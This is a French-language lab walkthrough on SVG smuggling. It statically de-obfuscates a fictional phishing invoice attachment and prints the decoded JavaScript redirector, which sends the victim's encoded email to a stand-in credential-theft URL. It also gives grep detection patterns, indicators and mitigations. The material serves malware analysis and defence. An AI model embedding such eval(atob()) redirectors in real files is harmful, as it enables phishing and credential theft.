| Fichier | northsea-invoice.svg |
| SHA-256 | 015847e0727863515d6e2064f1860db69afee186b12b20ebed7a69416483ca8c |
| Taille | 1 472 octets, SVG 1.1 (XML) |
| Contexte | Pièce jointe signalée par la passerelle mail, envoyée à North Sea Digital |
Zip sans mot de passe. N'ouvrez PAS le SVG dans un navigateur (le script s'exécuterait). Analysez-le dans un éditeur de texte, en VM isolée.
Les pièces jointes SVG malveillantes ont bondi de 245 % début 2025 : un SVG est traité comme une image par la plupart des filtres, alors que le format peut embarquer un <script> complet. Ouvert dans un navigateur, il exécute du JavaScript qui redirige silencieusement la victime vers une page de vol d'identifiants.
Vous recevez une telle pièce jointe. Votre mission : l'analyser en statique, désobfusquer la charge, et extraire les indicateurs, sans jamais l'exécuter.
⚠️ Ne double-cliquez pas. Ouvrir le SVG dans un navigateur exécute le script. Ouvrez-le dans un éditeur de texte ou en ligne de commande, en VM isolée.
<script> embarqué.eval(atob(...))).atob()).Un SVG est du XML. Le drapeau rouge : une image qui porte un <script>. Ne l'ouvrez jamais dans un navigateur ; greppez le texte brut.
file northsea-invoice.svg grep -Eo '<script|eval|atob|location\.href' northsea-invoice.svg
northsea-invoice.svg: SVG Scalable Vector Graphics image <script eval atob atob location.href
🚩 Un <script> plus eval(atob()) dans une image est la signature du SVG smuggling (MITRE T1027.017). Une image légitime ne fait jamais ça.
Le script cache sa logique dans un unique blob base64 affecté à _p et exécuté via eval(atob(_p)). Extrayez le blob et décodez-le.
grep -oE 'var _p = "[A-Za-z0-9+/=]+"' northsea-invoice.svg \ | sed -E 's/.*"(.*)"/\1/' | base64 -d ; echo
(function(){var u=atob('aHR0cHM6Ly9zZWN1cmUtZG9jLXZpZXcuZXhhbXBsZS5pbnZhbGlkL3ZlcmlmeT9zZXNzaW9uPQ==');var t=atob('ai5kb2VAbm9ydGhzZWEuZXhhbXBsZQ==');window.location.href=u+encodeURIComponent(t);})();🔬 Ouvrir la recette CyberChef, From Base64💡 La routine décodée ne contient pas l'URL en clair non plus : elle reconstruit la destination via deux atob(). Encore une couche.
La routine interne assemble la destination à partir de deux chaînes base64 : la base de redirection et l'identifiant de victime.
echo 'aHR0cHM6Ly9zZWN1cmUtZG9jLXZpZXcuZXhhbXBsZS5pbnZhbGlkL3ZlcmlmeT9zZXNzaW9uPQ==' | base64 -d ; echo echo 'ai5kb2VAbm9ydGhzZWEuZXhhbXBsZQ==' | base64 -d ; echo
https://secure-doc-view.example.invalid/verify?session= j.doe@northsea.example
🔑 L'email de la victime est encodé en base64 dans le fichier. Les attaquants font ça pour pré-remplir le formulaire de phishing et tracer précisément qui a cliqué. Une autre victime reçoit un autre SVG.
En assemblant les couches, on obtient la redirection finale que le navigateur aurait suivie :
https://secure-doc-view.example.invalid/verify?session=j.doe%40northsea.example
✅ C'est un redirecteur de vol d'identifiants. L'URL pointe vers une page de vérification factice ; l'email de victime ajouté pré-remplit et trace la cible. La destination est ici un domaine .invalid non résoluble, l'échantillon est donc sans danger à étudier.
| Type | Valeur | Source |
|---|---|---|
| Technique | SVG smuggling, <script> embarqué | MITRE T1027.017 |
| Obfuscation | eval(atob()) externe + atob() x2 interne | analyse statique |
| Hôte de redirection | secure-doc-view.example.invalid (défangé) | couche 2 décodée |
| Traceur de victime | j.doe@northsea.example (base64) | couche 2 décodée |
| Livraison | pièce jointe email (le SVG passe les filtres image) | passerelle mail |
<script> inline dans un SVG fourni par l'utilisateur ; servir les fichiers non fiables avec Content-Disposition: attachment et une CSP stricte..svg, et sur les SVG contenant <script>, atob ou eval.La technique : fichiers obfusqués cachant du code dans des images SVG.
Comment les SVG à HTML/JS embarqué servent dans les campagnes de phishing.
La flambée 2025 des pièces jointes SVG obfusquant des charges de phishing.
From Base64, Magic et autres recettes pour retirer les couches d'obfuscation.
Environnement entièrement fictif, à usage éducatif uniquement. La cible de redirection est un domaine .invalid non résoluble.
A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.